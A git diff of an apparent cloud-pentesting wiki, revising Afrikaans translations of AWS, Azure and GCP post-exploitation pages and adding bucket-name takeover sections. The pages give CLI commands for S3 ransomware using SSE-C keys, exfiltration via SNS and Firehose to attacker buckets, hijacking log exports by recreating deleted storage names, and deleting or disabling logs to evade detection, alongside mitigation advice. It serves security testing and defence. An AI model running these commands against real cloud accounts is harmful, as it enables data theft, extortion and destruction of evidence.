diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
index b4ae61e58..e6ec925e9 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -4,47 +4,47 @@
 
 ## S3
 
-For more information check:
+Vir meer inligting, kyk:
 
 {{#ref}}
 ../../aws-services/aws-s3-athena-and-glacier-enum.md
 {{#endref}}
 
-### Sensitiewe Inligting
+### Sensitive Information
 
-Soms sal jy sensitiewe inligting leesbaar in die buckets vind. Byvoorbeeld, terraform state secrets.
+Soms sal jy sensitive information vind wat in die buckets leesbaar is. Byvoorbeeld, terraform state secrets.
 
 ### Pivoting
 
-Verskillende platforms kan S3 gebruik om sensitiewe assets te stoor.\
-Byvoorbeeld, **airflow** kan **DAGs** **code** daar stoor, of **web pages** kan direk vanaf S3 bedien word. 'n aanvaller met write permissions kan die **code** in die bucket wysig om na ander platforms te **pivot**, of **takeover accounts** deur JS-lêers te wysig.
+Verskillende platforms kan S3 gebruik om sensitive assets te stoor.\
+Byvoorbeeld, **airflow** kan **DAGs** **code** daar stoor, of **web pages** kan direk vanaf S3 bedien word. ’n Aanvaller met write permissions kan die **code** in die bucket **modify** om na ander platforms te **pivot**, of accounts **takeover** deur JS files te modify.
 
 ### S3 Ransomware
 
-In hierdie scenario skep die **aanvaller 'n KMS (Key Management Service) key in hul eie AWS account** of in 'n ander gekompromitteerde account. Hulle maak dan hierdie **key toeganklik vir enigiemand in die wêreld**, wat enige AWS user, role, of account toelaat om objects met hierdie key te enkripteer. Die objects kan egter nie ontsleuteld word nie.
+In hierdie scenario skep die **aanvaller 'n KMS (Key Management Service) key in hul eie AWS account** of ’n ander compromised account. Hulle maak dan hierdie **key accessible to anyone in the world**, wat enige AWS user, role, of account toelaat om objects met hierdie key te encrypt. Die objects kan egter nie decrypted word nie.
 
-Die aanvaller identifiseer 'n teiken-**S3 bucket en verwerf write-level access** daartoe deur verskeie metodes. Dit kan wees as gevolg van swak bucket-konfigurasie wat dit publiek maak of dat die aanvaller toegang tot die AWS environment self verkry. Die aanvaller mik gewoonlik na buckets wat sensitiewe inligting bevat soos personally identifiable information (PII), protected health information (PHI), logs, backups, en meer.
+Die aanvaller identifiseer ’n teiken **S3 bucket en kry write-level access** daartoe met verskeie metodes. Dit kan wees weens swak bucket configuration wat dit publiek blootstel, of omdat die aanvaller toegang tot die AWS environment self kry. Die aanvaller teiken tipies buckets wat sensitive information bevat soos personally identifiable information (PII), protected health information (PHI), logs, backups, en meer.
 
-Om te bepaal of die bucket 'n teiken vir ransomware kan wees, kontroleer die aanvaller die konfigurasie daarvan. Dit sluit in om te verifieer of **S3 Object Versioning** aangeskakel is en of **multi-factor authentication delete (MFA delete)** aangeskakel is. As Object Versioning nie aangeskakel is nie, kan die aanvaller voortgaan. As Object Versioning aangeskakel is maar MFA delete gedeaktiveer is, kan die aanvaller **Object Versioning uitskakel**. As beide Object Versioning en MFA delete aangeskakel is, word dit moeiliker vir die aanvaller om daardie spesifieke bucket te ransomware.
+Om te bepaal of die bucket vir ransomware geteiken kan word, kontroleer die aanvaller sy configuration. Dit sluit in om te verifieer of **S3 Object Versioning** geaktiveer is en of **multi-factor authentication delete (MFA delete)** geaktiveer is. As Object Versioning nie geaktiveer is nie, kan die aanvaller voortgaan. As Object Versioning geaktiveer is maar MFA delete gedeaktiveer is, kan die aanvaller **Object Versioning disable**. As beide Object Versioning en MFA delete geaktiveer is, word dit moeiliker vir die aanvaller om daardie spesifieke bucket met ransomware te tref.
 
-Deur die AWS API te gebruik, vervang die aanvaller **elke object in die bucket met 'n geënkripteerde kopie wat hul KMS key gebruik**. Dit enkripteer effektief die data in die bucket, wat dit ontoeganklik maak sonder die key.
+Deur die AWS API te gebruik, **vervang die aanvaller elke object in die bucket met ’n encrypted copy deur hul KMS key te gebruik**. Dit encrypt effektief die data in die bucket, wat dit ontoeganklik maak sonder die key.
 
-Om meer druk te plaas, skeduleer die aanvaller die verwydering van die KMS key wat in die aanval gebruik is. Dit gee die teiken 'n 7-dag venster om hul data te herstel voordat die key verwyder word en die data permanent verlore raak.
+Om verdere druk by te voeg, skeduleer die aanvaller die deletion van die KMS key wat in die aanval gebruik is. Dit gee die teiken ’n 7-dae venster om hul data te recover voordat die key deleted word en die data permanent verlore raak.
 
-Laastens kan die aanvaller 'n finale lêer oplaai, gewoonlik genaamd "ransom-note.txt," wat instruksies vir die teiken bevat oor hoe om hul lêers terug te kry. Hierdie lêer word sonder enkripsie opgelaai, waarskynlik om die teiken se aandag te trek en hulle bewus te maak van die ransomware-aanval.
+Laastens kan die aanvaller ’n finale file oplaai, gewoonlik genaamd "ransom-note.txt," wat instruksies vir die teiken bevat oor hoe om hul files terug te kry. Hierdie file word sonder encryption opgelaai, waarskynlik om die teiken se aandag te trek en hulle bewus te maak van die ransomware aanval.
 
 #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)
 
-Nog 'n variant is die misbruik van **SSE-C** (S3 server-side encryption met **customer-provided keys**). Met SSE-C voorsien die **client die enkripsie-sleutel by elke versoek** en **AWS stoor nie die sleutel nie**. Dit beteken dat as 'n aanvaller bestaande objects herskryf met **hul eie SSE-C key**, raak die slagoffer se data onleesbaar tensy die slagoffer daardie aanvaller-gekontroleerde key kan verskaf.
+Nog ’n variant is om **SSE-C** (**S3 server-side encryption with customer-provided keys**) te misbruik. Met SSE-C verskaf die **client die encryption key op elke request** en **AWS store nie die key** nie. Dit beteken dat as ’n aanvaller objects herskryf met **hul eie SSE-C key**, die slagoffer se data onleesbaar word tensy die slagoffer daardie attacker-controlled key kan verskaf.
 
-- **Preconditions:** Gekomromitteerde AWS credentials (of enige principal met die regte permissions) en die vermoë om **objects te herskryf** (bv. `s3:PutObject` op die teiken keys/prefixes). Dit word dikwels gepaar met die vermoë om destruktiewe lifecycle policies te stel (kyk hieronder), bv. `s3:PutLifecycleConfiguration`.
+- **Preconditions:** Compromised AWS credentials (of enige principal met die regte permissions) en die vermoë om **objects te rewrite** (bv. `s3:PutObject` op die teiken keys/prefixes). Dit word dikwels gekombineer met die vermoë om destructive lifecycle policies te stel (sien hieronder), bv. `s3:PutLifecycleConfiguration`.
 - **Attack chain:**
-1. Aanvaller genereer 'n ewekansige 256-bit key (AES-256) en hou dit.
-2. Aanvaller **herskryf** bestaande objects (dieselfde object keys) met SSE-C headers sodat die gestoorde object nou geënkripteer is met die aanvaller se key.
-3. Slagoffer kan nie download/ontsleutel sonder om die SSE-C key te verskaf nie (selfs al is IAM permissions reg).
-4. Aanvaller kan die key verwyder (of eenvoudig nooit verskaf nie) om die data onherstelbaar te maak.
+1. Die aanvaller genereer ’n random 256-bit key (AES-256) en hou dit.
+2. Die aanvaller **rewrite** bestaande objects (dieselfde object keys) deur SSE-C headers te gebruik sodat die gestoor object nou met die aanvaller se key encrypted is.
+3. Die slagoffer kan nie download/decrypt sonder om die SSE-C key te verskaf nie (selfs al is IAM permissions reg).
+4. Die aanvaller kan die key delete (of dit eenvoudig nooit verskaf nie) om data unrecoverable te maak.
 
-Example (conceptual) CLI usage:
+Voorbeeld (konseptuele) CLI usage:
 ```bash
 # Upload/overwrite an object encrypted with attacker-provided SSE-C key
 aws s3 cp ./file s3://<BUCKET>/<KEY> \
@@ -56,25 +56,25 @@ aws s3 cp s3://<BUCKET>/<KEY> ./file \
 --sse-c AES256 \
 --sse-c-key <BASE64_32_BYTES>
 ```
-##### Verhoogde Druk: Lewensiklus "Timer" Misbruik
+##### Adding Pressure: Lifecycle "Timer" Abuse
 
-Om herstelopsies (soos ou weergawes) te verwyder, kan aanvallers SSE-C-omskrywings kombineer met **lewensiklusreëls** wat objekte laat verval en/of nie-aktuele weergawes na 'n kort periode verwyder:
+Om herstelfunksies te verwyder (soos ou weergawes), kan aanvallers SSE-C herskrywings koppel met **lifecycle rules** wat objects laat verval en/of nie-huidige weergawes ná ’n kort tydperk uitvee:
 
-- `s3:PutLifecycleConfiguration` op die bucket laat 'n aanvaller toe om verwyderings te skeduleer sonder om eksplisiete delete-operasies vir elke object/weergawe uit te voer.
-- Dit is veral ingrypend wanneer **versioning is enabled**, omdat dit die "vorige goeie weergawe" kan verwyder wat andersins herstel sou moontlik maak.
+- `s3:PutLifecycleConfiguration` op die bucket laat ’n aanvaller toe om verwyderings te skeduleer sonder om eksplisiete delete-operasies vir elke object/weergaw te stuur.
+- Dit is veral impakvol wanneer **versioning is enabled**, omdat dit die "previous good version" kan verwyder wat andersins herstel sou moontlik maak.
 
-##### Opsporing & Mitigasies
+##### Detection & Mitigations
 
-- Verkies **SSE-KMS** (of SSE-S3) bo SSE-C, tensy jy 'n sterk operasionele rede het om SSE-C toe te laat.
-- Monitor/waarsku op `PutObject` versoeke wat SSE-C headers gebruik (CloudTrail data events vir S3).
-- Monitor/waarsku op onverwagte `PutBucketLifecycleConfiguration` (lewensiklusveranderinge).
-- Monitor/waarsku op skielike styging in oorskryfaktiwiteit (dieselfde keys wat vinnig bygewerk word) en delete-marker/weergaweverwyderings.
-- Beperk hoë-risiko permissies: Beperk `s3:PutObject` tot nodige voorvoegsels; beperk sterk `s3:PutLifecycleConfiguration` en `s3:PutBucketVersioning`; oorweeg om MFA te vereis vir sensitiewe admin-aksies (waar toepaslik) en gebruik afsonderlike admin-rolle met goedkeurings.
-- Herstelhouding: Gebruik **versioning**, **backups**, en onveranderlike/offline kopieë (S3 replicasie na 'n beskermde account, backup vaults, ens.); beskerm nie-aktuele weergawes teen aggressiewe verwydering en beveilig lewensiklusveranderinge met SCPs / guardrails.
+- Verkies **SSE-KMS** (of SSE-S3) bo SSE-C tensy jy ’n sterk operasionele rede het om SSE-C toe te laat.
+- Monitor/alert op `PutObject` requests wat SSE-C headers gebruik (CloudTrail data events for S3).
+- Monitor/alert op onverwante `PutBucketLifecycleConfiguration` (lifecycle changes).
+- Monitor/alert op skielike spikes in overwrite activity (dieselfde keys wat vinnig opgedateer word) en delete-marker/version deletions.
+- Beperk high-risk permissions: Limiet `s3:PutObject` tot nodige prefixes; beperk `s3:PutLifecycleConfiguration` en `s3:PutBucketVersioning` sterk; oorweeg om MFA te vereis vir sensitiewe admin actions (waar van toepassing) en gebruik aparte admin roles met approvals.
+- Recovery posture: Gebruik **versioning**, **backups**, en immutable/offline copies (S3 replication na ’n protected account, backup vaults, ens.); beskerm noncurrent versions teen aggressiewe deletion en beskerm lifecycle changes met SCPs / guardrails.
 
 ### `s3:RestoreObject`
 
-'n Aanvaller met die s3:RestoreObject permissie kan objekte wat in Glacier of Deep Archive gearchiveer is heraktiveer, en dit tydelik toeganklik maak. Dit maak herstel en exfiltration van histories gearchiveerde data (backups, snapshots, logs, sertifikate, ou geheime) moontlik wat normaalweg buite bereik sou wees. As die aanvaller hierdie permissie kombineer met leespermissies (bv. s3:GetObject), kan hulle volledige kopieë van sensitiewe data verkry.
+’n Aanvaller met die s3:RestoreObject permission kan objects wat in Glacier of Deep Archive geberg is, heraktiveer en hulle tydelik toeganklik maak. Dit maak recovery en exfiltration van histories geargiveerde data moontlik (backups, snapshots, logs, certifications, ou secrets) wat normaalweg buite bereik sou wees. As die aanvaller hierdie permission met leespermissions kombineer (bv. s3:GetObject), kan hulle volledige kopieë van sensitiewe data verkry.
 ```bash
 aws s3api restore-object \
 --bucket <BUCKET_NAME> \
@@ -86,7 +86,7 @@ aws s3api restore-object \
 ```
 ### `s3:Delete*`
 
-An attacker met die s3:Delete* permission kan objects, versions en entire buckets uitvee, backups ontwrig en onmiddellike, onomkeerbare dataverlies veroorsaak, bewysvernietiging teweegbring en backup- of recovery-artifacts kompromitteer.
+’n Aanvaller met die s3:Delete* toestemming kan objects, versions, en hele buckets delete, backups ontwrig, en onmiddellike en onomkeerbare data loss, vernietiging van evidence, en compromise van backup- of recovery-artifacts veroorsaak.
 ```bash
 # Delete an object from a bucket
 aws s3api delete-object \
@@ -103,6 +103,34 @@ aws s3api delete-object \
 aws s3api delete-bucket \
 --bucket <BUCKET_NAME>
 ```
-**Vir meer info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+### Global bucket name takeover of autonomous writers - `s3:DeleteBucket`
+
+S3 bucket name is globally uniek. As ’n slagoffer-rekening geoutomatiseerde writers het wat aanhou data lewer na `arn:aws:s3:::<bucket-name>` en ’n aanvaller daardie bucket kan leegmaak/verwyder, kan die aanvaller moontlik dieselfde bucket name in ’n aanvaller-beheerde rekening herskep en toekomstige deliveries ontvang sonder om die upstream service configuration te verander.
+
+Goeie teikens om te review sluit in S3 replication destinations, Kinesis Data Firehose delivery streams, CloudWatch Logs/SNS/WAF delivery chains wat in S3 land, en custom backup- of export jobs.
+```bash
+# Review S3 replication destinations on source buckets
+aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
+
+# Review Firehose S3 destinations
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME>
+
+# Empty and delete the target bucket, if permitted
+aws s3 rm s3://<BUCKET_NAME> --recursive
+aws s3api delete-bucket --bucket <BUCKET_NAME>
+
+# Recreate the same globally-unique name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+Die replacement bucket policy moet die upstream writer toelaat om objects te plaas. Die presiese principal hang van die service af: byvoorbeeld ’n IAM replication role, ’n Firehose delivery role, of ’n service principal wat beperk is met `aws:SourceArn` / `aws:SourceAccount`.
+
+**Potential Impact:** stil exfiltration van toekomstige gerepliseerde objects, logs, telemetry, backups, en pipeline artifacts na ’n attacker-controlled AWS account.
+
+**Detection & Mitigation:** alert op deletion van buckets waarna replication rules of delivery streams verwys, monitor vir `NoSuchBucket` delivery failures gevolg deur bucket recreation, beperk `s3:DeleteBucket` op export destinations, en pin cross-account deliveries met streng bucket policies en ownership expectations.
+
+
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
index 0a6a560a3..2d76f52e0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
@@ -1,15 +1,15 @@
-# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+# AWS - SNS na Kinesis Firehose Exfiltration (Fanout na S3)
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Misbruik die Firehose subskripsieprotokol om 'n attacker-controlled Kinesis Data Firehose delivery stream op 'n victim SNS standard topic te registreer. Sodra die subskripsie in plek is en die vereiste IAM rol `sns.amazonaws.com` vertrou, word elke toekomstige kennisgewing permanent in die attacker’s S3 bucket geskryf met minimale geraas.
+Misbruik die Firehose subscription protocol om ’n attacker-controlled Kinesis Data Firehose delivery stream op ’n victim SNS standard topic te registreer. Sodra die subscription in plek is en die vereiste IAM role `sns.amazonaws.com` vertrou, word elke toekomstige notification betroubaar na die attacker se S3 bucket geskryf met minimale noise.
 
-## Vereistes
-- Permissies in die attacker rekening om 'n S3 bucket, Firehose delivery stream, en die IAM rol wat deur Firehose gebruik word te skep (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, ens.).
-- Die vermoë om `sns:Subscribe` op die victim topic uit te voer (en opsioneel `sns:SetSubscriptionAttributes` as die subscription role ARN na skepping verskaf word).
-- 'n Topic policy wat die attacker principal toelaat om te subscribe (of die attacker funksioneer reeds binne dieselfde rekening).
+## Requirements
+- Permissions in die attacker account om ’n S3 bucket, Firehose delivery stream, en die IAM role wat deur Firehose gebruik word te skep (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, ens.).
+- Die vermoë om `sns:Subscribe` na die victim topic te gebruik (en opsioneel `sns:SetSubscriptionAttributes` as die subscription role ARN na creation voorsien word).
+- ’n Topic policy wat die attacker principal toelaat om te subscribe (of die attacker werk reeds binne dieselfde account).
 
-## Aanvalsstappe (dieselfde-rekening voorbeeld)
+## Attack Steps (same-account example)
 ```bash
 REGION=us-east-1
 ACC_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio
 sleep 90
 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
 ```
-## Opruiming
-- Verwyder die SNS-intekening, Firehose-afleweringsstroom, tydelike IAM-rolle/beleide, en attacker S3-bucket.
+## Cleanup
+- Delete the SNS subscription, Firehose delivery stream, temporary IAM roles/policies, and attacker S3 bucket.
 
-## Impak
-**Potensiële Impak**: Deurlopende, volhoubare exfiltration van elke boodskap wat na die geteikende SNS topic gepubliseer word in attacker-gekontroleerde berging met 'n minimale operasionele voetspoor.
+## Impact
+**Potensiële Impak**: Deurlopende, duursame exfiltration van elke message wat na die geteikende SNS topic gepubliseer word, in attacker-controlled storage met minimale operasionele voetspoor.
+
+## Related Bucket-Name Hijack Variant
+
+As ’n bestaande SNS -> Firehose -> S3 chain reeds na ’n bucket skryf en die attacker daardie bucket kan delete, kan hulle dalk dieselfde globally-unique S3 bucket name in ’n attacker-controlled account herskep. Toekomstige Firehose deliveries kan dan in die replacement bucket land sonder om die SNS subscription of Firehose stream configuration te verander.
+```bash
+# Identify the Firehose S3 destination
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME> \
+--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
+
+# After deleting the original bucket, recreate the same name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+Gee die Firehose-afleweringsrol toegang tot die vervangings-emmer as die rol kruis-rekening kan skryf. Monitor vir emmer-verwydering op Firehose-bestemmings, afleweringsfoute, en onverwagte emmer-eienaarskap-veranderings.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index 3060ea459..0a123eaa3 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Storage Privesc
 
-Vir meer inligting oor stoor, kyk:
+Vir meer inligting oor storage kyk:
 
 {{#ref}}
 ../az-services/az-storage.md
@@ -12,7 +12,7 @@ Vir meer inligting oor stoor, kyk:
 
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
 
-'n Hoofpersoon met hierdie toestemming sal in staat wees om die **lys** van die blobs (lêers) binne 'n houer te **download** en die lêers wat moontlik **sensitiewe inligting** bevat.
+’n principal met hierdie permission sal in staat wees om die blobs (files) binne ’n container te **list** en die files te **download** wat **sensitive information** kan bevat.
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
 az storage blob list \
@@ -26,7 +26,7 @@ az storage blob download \
 ```
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
 
-'n Hoofpersoon met hierdie toestemming sal in staat wees om **lêers in houers te skryf en te oorskryf** wat hom mag toelaat om skade aan te rig of selfs bevoegdhede te verhoog (bv. om 'n bietjie kode wat in 'n blob gestoor is, te oorskryf):
+'n Hoofentiteit met hierdie toestemming sal in staat wees om **lêers in containers te skryf en te oorskryf** wat hom kan toelaat om skade te veroorsaak of selfs privileges te eskaleer (bv. 'n bietjie code wat in 'n blob gestoor is, te oorskryf):
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
 az storage blob upload \
@@ -36,6 +36,35 @@ az storage blob upload \
 ```
 ### \*/delete
 
-Dit sal toelaat om voorwerpe binne die stoorrekening te verwyder wat dalk **sekere dienste kan onderbreek** of die kliënt **waardevolle inligting kan laat verloor**.
+Dit sal toelaat om objects binne die storage account te delete, wat sommige services kan **onderbreek** of die client kan laat **verloor waardevolle inligting**.
+
+### Storage account name takeover van diagnostic exports
+
+Azure Storage account names is globally unique. Sommige autonomous exports, soos Azure Monitor diagnostic settings, hou aan om logs of metrics na ’n gekonfigureerde storage account te skryf. As ’n attacker daardie storage account kan delete en dieselfde naam kan recreate in ’n attacker-controlled subscription binne dieselfde tenant, kan toekomstige exported telemetry aan die replacement account afgelewer word sonder om die diagnostic setting te modify.
+
+Dit is veral interessant wanneer die attacker destructive permissions het soos `Microsoft.Storage/storageAccounts/delete`, maar nie die monitored resource of sy diagnostic settings kan update nie.
+
+Dit vereis dat die storage account name vir reuse vrygestel word. In die praktyk kan Azure storage account soft delete / recovery protections onmiddellike reuse delay of voorkom, veral oor tenants heen.
+```bash
+# Find diagnostic settings that write to a storage account
+az monitor diagnostic-settings list \
+--resource <RESOURCE_ID> \
+--query '[].{name:name,storageAccountId:storageAccountId}'
+
+# Delete the storage account, if permitted
+az storage account delete \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <RESOURCE_GROUP>
+
+# Recreate the same globally-unique storage account name
+az storage account create \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <ATTACKER_RESOURCE_GROUP> \
+--location <LOCATION> \
+--sku Standard_LRS
+```
+**Potensiële Impak:** langtermyn exfiltration van toekomstige logs, metrics, audit data, en diagnostic archives na 'n aanvaller-beheerde subscription.
+
+**Opsporing & Versagting:** waarsku op deletion van storage accounts waarna verwys word deur diagnostic settings, inventory diagnostic settings met `storageAccountId`, monitor vir dangling destinations, en beperk destructive permissions op logging/archive storage accounts streng.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
index c9a758eba..8df865402 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
@@ -4,31 +4,31 @@
 
 ## Basiese Inligting
 
-Vir meer inligting sien:
+Vir meer inligting, kyk:
 
 {{#ref}}
 ../gcp-services/gcp-logging-enum.md
 {{#endref}}
 
-Vir ander maniere om monitoring te ontwrig, sien:
+Vir ander maniere om monitoring te ontwrig, kyk:
 
 {{#ref}}
 gcp-monitoring-post-exploitation.md
 {{#endref}}
 
-### Standaard Logging
+### Default Logging
 
-**Standaard sal jy nie gevang word net omdat jy lees-aksies uitvoer nie. Vir meer inligting, sien die Logging Enum afdeling.**
+**By default sal jy nie gevang word net omdat jy read actions uitvoer nie. Vir meer info, kyk die Logging Enum-afdeling.**
 
-### Voeg Excepted Principal by
+### Add Excepted Principal
 
-In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) en [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is dit moontlik om principals by te voeg sodat logs nie gegenereer word nie. 'n aanvaller kan dit misbruik om te voorkom dat hulle gevang word.
+In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) en [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is dit moontlik om principals by te voeg sodat hulle nie logs genereer nie. 'n Aanvaller kan dit misbruik om te voorkom dat hy gevang word.
 
-### Lees logs - `logging.logEntries.list`
+### Read logs - `logging.logEntries.list`
 
 <details>
 
-<summary>Lees loginskrywings</summary>
+<summary>Read log entries</summary>
 ```bash
 # Read logs
 gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -44,7 +44,7 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
 
 <details>
 
-<summary>Verwyder loginskrywings</summary>
+<summary>Verwyder log-inskrywings</summary>
 ```bash
 # Delete all entries from a log in the _Default log bucket - logging.logs.delete
 gcloud logging logs delete <log-name>
@@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
 
 <details>
 
-<summary>Werk log bucket retensie by</summary>
+<summary>Werk log-emmer-retensie op</summary>
 ```bash
 # Set retention period to 1 day (_Required has a fixed one of 400days)
 
@@ -78,7 +78,7 @@ gcloud logging buckets update bucketlog --location=<location> --description="New
 
 <details>
 
-<summary>Verwyder log-emmer</summary>
+<summary>Verwyder log bucket</summary>
 ```bash
 # Delete log bucket
 gcloud logging buckets delete BUCKET_NAME --location=<location>
@@ -89,7 +89,7 @@ gcloud logging buckets delete BUCKET_NAME --location=<location>
 
 <details>
 
-<summary>Verwyder logskakel</summary>
+<summary>Vee log-skakel</summary>
 ```bash
 # Delete link
 gcloud logging links delete <link-id> --bucket <bucket> --location <location>
@@ -100,7 +100,7 @@ gcloud logging links delete <link-id> --bucket <bucket> --location <location>
 
 <details>
 
-<summary>Verwyder logging view</summary>
+<summary>Delete logging view</summary>
 ```bash
 # Delete a logging view to remove access to anyone using it
 gcloud logging views delete <view-id> --bucket=<bucket> --location=global
@@ -111,7 +111,7 @@ gcloud logging views delete <view-id> --bucket=<bucket> --location=global
 
 <details>
 
-<summary>Werk logging-uitsig by om data te verberg</summary>
+<summary>Werk logging view op om data te versteek</summary>
 ```bash
 # Update a logging view to hide data
 gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
@@ -122,7 +122,7 @@ gcloud logging views update <view-id> --log-filter="resource.type=gce_instance"
 
 <details>
 
-<summary>Bywerk log-gebaseerde metrieke</summary>
+<summary>Werk log-gebaseerde metrics op</summary>
 ```bash
 # Update log based metrics - logging.logMetrics.update
 gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
@@ -133,7 +133,7 @@ gcloud logging metrics update <metric-name> --description="Changed metric descri
 
 <details>
 
-<summary>Verwyder log-gebaseerde metrieke</summary>
+<summary>Delete log-gebaseerde metrics</summary>
 ```bash
 # Delete log based metrics - logging.logMetrics.delete
 gcloud logging metrics delete <metric-name>
@@ -144,7 +144,7 @@ gcloud logging metrics delete <metric-name>
 
 <details>
 
-<summary>Verwyder log sink</summary>
+<summary>Delete log sink</summary>
 ```bash
 # Delete sink - logging.sinks.delete
 gcloud logging sinks delete <sink-name>
@@ -155,7 +155,7 @@ gcloud logging sinks delete <sink-name>
 
 <details>
 
-<summary>Opdateer/versteur log sink</summary>
+<summary>Werk/ontwrig log sink</summary>
 ```bash
 # Disable sink - logging.sinks.update
 gcloud logging sinks update <sink-name> --disabled
@@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
 ```
 </details>
 
+### Cloud Logging sink bucket-name hijack - `storage.buckets.delete`
+
+Cloud Logging sinks kan logs voortdurend uitvoer na 'n Cloud Storage-bestemming soos `storage.googleapis.com/<bucket-name>` of `storage.googleapis.com/<bucket-name>/<prefix>`. As 'n aanvaller die bestemming-bucket kan delete, maar nie die sink kan update nie, kan hulle dalk steeds toekomstige uitgevoerde logs herlei deur dieselfde globaal-unieke bucket name in 'n aanvaller-beheerde project weer te skep.
+
+Dit is nuttig wanneer die gekompromitteerde principal destruktiewe storage permissions het soos `storage.buckets.delete`, `storage.objects.delete`, en `storage.objects.list`, maar nie `logging.sinks.update` het nie.
+```bash
+# Find sinks that export to Cloud Storage
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,disabled,writerIdentity)'
+
+# Empty and delete the destination bucket, if permitted
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name in the attacker-controlled project
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Allow the sink writer identity to write objects into the replacement bucket
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potensiële impak:** stille langtermyn exfiltration van toekomstige ouditlogs, application logs, security telemetry, en enige ander events wat deur die sink filter ooreenstem.
+
+**Detection & Mitigation:** waarsku op deletion van buckets waarna deur aktiewe sinks verwys word, inventory sink destinations vir dangling bucket names, beperk `storage.buckets.delete` op logging destinations, en beskerm export buckets met retention/hold controls waar moontlik.
+
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
index 9b002971f..95a3ea94c 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Pub/Sub
 
-Vir meer inligting oor Pub/Sub sien die volgende bladsy:
+Vir meer inligting oor Pub/Sub, kyk die volgende bladsy:
 
 {{#ref}}
 ../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@ Vir meer inligting oor Pub/Sub sien die volgende bladsy:
 
